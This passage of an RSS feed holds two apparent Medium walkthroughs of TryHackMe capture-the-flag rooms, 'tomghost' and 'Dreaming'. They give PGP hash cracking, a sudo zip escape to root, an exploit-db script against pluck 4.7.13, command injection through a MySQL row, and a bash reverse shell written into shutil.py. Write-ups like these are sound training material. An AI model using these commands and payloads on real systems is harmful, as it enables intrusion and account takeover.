to get the password.</p><p>Let’s convert the key into a hash:</p><pre>pgp2jhon tryhackme.pgp &gt; pgp_hash.txt</pre><p>after we got the hash now we need to crack it:</p><pre>john pgp_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*lBfAbCUwkiZp1-YXNuNNNw.png" /></figure><p>we got the passphrase now we can decrypt the file of <strong>credential.pgp </strong>with:</p><pre>gpg - import tryhackme.asc<br>gpg -o credentials.txt -d credential.pgp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*nw_xAKqFwL5m7zv0tTDYhA.png" /></figure><p>so the credentials are in <strong>credantials.txt</strong> where we decrypt <strong>credential.pgp</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*N8bW7FSkz17tSxKPkDB8TA.png" /></figure><p>we got the user.txt flag now we need the root.txt.</p><p>After running <strong>sudo -l</strong> it seems that we can get root access by zip</p><p>It took me some time to find somthing useful and i found it in <a href="https://gtfobins.github.io/gtfobins/zip/">https://gtfobins.github.io/gtfobins/zip/</a></p><p>Let’s run the next to get root access</p><pre>TF=$(mktemp -u)<br>sudo /usr/bin/zip $TF /etc/hosts -T -TT &#39;sh #&#39;</pre><p>Then</p><pre>python3 -c &#39;import pty; pty.pawn(&quot;/bin/bash&quot;)&#39;</pre><p>And finally we should access the root user and get the root.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*2bN0yxx6LZQNvPWQBT9gGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*o-JiK9WMbmBdJuRhDNtZRw.jpeg" /></figure><p>CTF room: <a href="https://tryhackme.com/room/tomghost">https://tryhackme.com/room/tomghost</a></p><p>Thank you for reading this Walkthrough, if you have any suggestions or corrections i will be available at the following:</p><p><a href="https://www.linkedin.com/in/anouar-bouzannar-49066a305/">https://www.linkedin.com/in/anouar-bouzannar-49066a305/</a></p><p>🎉🎉🎉🎉🎉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2f1453ad15f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Walkthrough: Dreaming]]></title>
            <link>https://medium.com/@abouzennar/tryhackme-walkthrough-dreaming-d74da17f7142?source=rss-954f3583a984------2</link>
            <guid isPermaLink="false">https://medium.com/p/d74da17f7142</guid>
            <dc:creator><![CDATA[AnouartheG]]></dc:creator>
            <pubDate>Mon, 26 May 2025 17:06:50 GMT</pubDate>
            <atom:updated>2025-05-28T15:42:54.500Z</atom:updated>
            <content:encoded><![CDATA[<p>Difficulty:easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PFAGc7vAmldXbGqGpM1Qwg.png" /></figure><p><a href="https://tryhackme.com/room/dreaming">Dreaming</a></p><h3><strong><em>RECON:</em></strong></h3><p>First were doing a basic and fast nmap scan to see the open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KZOoM0dveydg86WX0FATTg.png" /></figure><p>So the open ports are 80 and 22 which is <strong>ssh</strong> and <strong>http</strong></p><h3><strong>ENUMERATION:</strong></h3><p>Lets open the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DqWaIy-1sAaOweBwE3szjg.png" /></figure><p>It seems like we should run <strong>gobuster</strong> for Directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*InaAxcrcv8v5oUvqjP7CYg.png" /></figure><p>so we found a dir called<strong> /app.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kBYHcLg2Tgs28VFMQYa3XA.png" /></figure><p>We can notice that this website runs <strong>pluck-4.7.13/</strong> this will be useful for exploitation phase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2fWll-ZHrcfO0W9bP9WbaQ.png" /></figure><p>After searching in this page i found somthing , which is admin login and that’s by clicking the <strong>admin</strong> icon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fyk3dg8i9Z_iUJP83kQrRg.png" /></figure><p>In this case i tried using sql injection like<strong> or’1&#39;=’1 </strong>but it failed miserably.</p><p>After passing time searching for a way to login , i tried using basic and weak password and it works.So i logged in as admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZlGmkX5zAnLrhONJ5t_z6A.png" /></figure><p>Before this we found that this website uses <strong>pluck4.7.13</strong> so that can help us exploit and get a reverse shell.</p><h3>EXPLOITATION:</h3><p>after searching for vuln in the version i found this on exploit-db</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h62tdj-iLgSUnSPi-eusEQ.png" /></figure><p>so that means the website is vulnerable and we can exploit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tS2HW5UoMlKKMLbdENGpPA.png" /></figure><p>$python3 49909.py &lt;ip&gt; &lt;port&gt; &lt;password&gt; &lt;dir&gt;</p><p>After upload the vuln file we should get a <strong>Remote Code Execution</strong> in this dir <strong>/files/shell.phar</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ryTQfmRS3MEHNZZgi8NbA.png" /></figure><p>You can use netcat to get better shell in your’e terminal , but i will use this shell for now.</p><p>First thing that i did when i got the shell i look up for <strong>/etc/passwd</strong> to see the users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*QvLGOyfg_WCpSShlXVshuw.png" /></figure><p>OK so there is three users: <strong>lucien</strong>,<strong>death</strong> and <strong>morpheus</strong>.</p><h3>Privilege Escalation:</h3><p>You can use <strong>linPEAS</strong> to search for possible paths to escalate privileges and make things easier.</p><p>After passing time searching i found somthing interesting in <strong>/opt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*am-mFGKKqWrQqs_f0nyKHw.png" /></figure><p>Finally found a password.</p><p>This password belongs to<strong> lucien </strong>, so let’s login in ssh in our own terminal</p><p><strong>┌──(kali㉿kali)-[~/Downloads]<br>└─$ ssh lucien@ip</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KREGi95WiS0K_MK2EteXQ.png" /></figure><p>We found the first FLAG.</p><p>So now we should search for some other infos that can help us login as death or morpheus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*2PPlRAPoSytq45pAY5n-Qg.png" /></figure><p>in the <strong>/opt </strong>there was two files , <strong>test.py </strong>which it had lucien password and <strong>getDreams.py </strong>which i think it has somthing to do with <strong>death </strong>where we can see that he’s password is redacted , that means in this case we have to work with mysql.</p><p>Let’s go back to lucien terminal.</p><p>I found somthing helpful in lucien <strong>.bash_history</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2eNgUbat1PAuj1tz2OT0rA.png" /></figure><p>So after i login in mysql i executed a command to list the dabases :</p><p><strong>mysql&gt; show databases;</strong><br>+ — — — — — — — — — — +<br>| Database |<br>+ — — — — — — — — — — +<br>| information_schema |<br>| library |<br>| mysql |<br>| performance_schema |<br>| sys |<br>+ — — — — — — — — — — +<br>5 rows in set (0.00 sec)</p><p>we are interested in library so :</p><p><strong>mysql&gt; use library</strong></p><p><strong>mysql&gt; select * from dreams;</strong><br>+ — — — — -+ — — — — — — — — — — — — — — — — — — +</p><p>| dreamer | dream |<br>+ — — — — -+ — — — — — — — — — — — — — — — — — — +<br>| Alice | Flying in the sky | <br>| Bob | Exploring ancient ruins |<br>| Carol | Becoming a successful entrepreneur |<br>| Dave | Becoming a professional musician |<br>+ — — — — -+ — — — — — — — — — — — — — — — — — — +</p><p>i think we can insert a command that can help us access death user by using:</p><pre>mysql&gt; INSERT INTO dreams VALUE(&#39;acc&#39;, &#39;$(/bin/bash)&#39;);</pre><p>Let’s break it down.When were going to execute the python script getDreams.py , it will go through all the dreamer and dream columns , so baisically if we added a malicious code like $(/bin/bash) or nc …. it will execute.That’s the purpose of <strong>INSERT INTO dreams VALUE(‘acc’, ‘$(/bin/bash)’);</strong> it add new column called acc and it contains malicious code that going to give me access of death user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rR6WAXTRrlIKDQP4nU6neg.png" /></figure><p>After this we should execute de <strong>getDream.py</strong> to get access</p><pre>lucien@ip-10–10–192–188:~$ sudo -u death /usr/bin/python3 /home/death/getDreams.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aBmyPpn7PcqYWVCwIy0ACw.png" /></figure><p>Finally death access is no longer a vision.Second flag should be in <strong>/home/death.</strong></p><p>But we still don’t have death password , so i found out that i could get the password from the getDreams.py because last time the password was restored but now we have death access so we can use:</p><pre>death@ip-10-10-192-188:~$ chmod 777 getDreams.py<br>death@ip-10-10-192-188:~$ exit<br>lucien@ip-10-10-192-188:/home/death$ cat getDreams.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hPR2ziOpUlLeTpPRHpu2cQ.png" /></figure><p>Now for the final user<strong> morpheus.</strong></p><p>There was two files in morpheus user called <strong>Kingdom</strong> and <strong>restore.py</strong></p><pre>#restore.py:<br>death@ip-10-10-192-188:/home/morpheus$ cat res*<br>from shutil import copy2 as backup<br><br>src_file = &quot;/home/morpheus/kingdom&quot;<br>dst_file = &quot;/kingdom_backup/kingdom&quot;<br><br>backup(src_file, dst_file)<br>print(&quot;The kingdom backup has been done!&quot;)<br>#kingdom:<br>death@ip-10-10-192-188:/home/morpheus$ cat king*<br>We saved the kingdom!</pre><p>For this one it took me some time to understand what should i do to get the access.As you can see in the restore file there was a some dir but none of them was accessible.</p><p>After countless tries i found that death user can edit <strong>/usr/lib/python3.8/shutil.py</strong></p><p>So we can edit that file with some malicious code tha can give us shell of the user that we are looking for.</p><pre>#Victim:<br>echo &quot;import os;os.system(\&quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.10.192.188/1234 0&gt;&amp;1&#39;\&quot;)&quot; &gt; /usr/lib/python3.8/shutil.py<br><br><br>#Attacker:<br>nc -lvnp 1234</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NxMbCoEB9pDGhfYrK6uVHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*QCHodTKlZH-gz0UDAaMaNg.png" /></figure><p>Finally the last flag has been captured.</p><p>Thank you for reading this Walkthrough, if you have any suggestions or corrections i will be available at the following:</p><p><a href="https://www.linkedin.com/in/anouar-bouzannar-49066a305/">https://www.linkedin.com/in/anouar-bouzannar-49066a305/</a></p><p>🎉🎉🎉🎉🎉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d74da17f7142" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>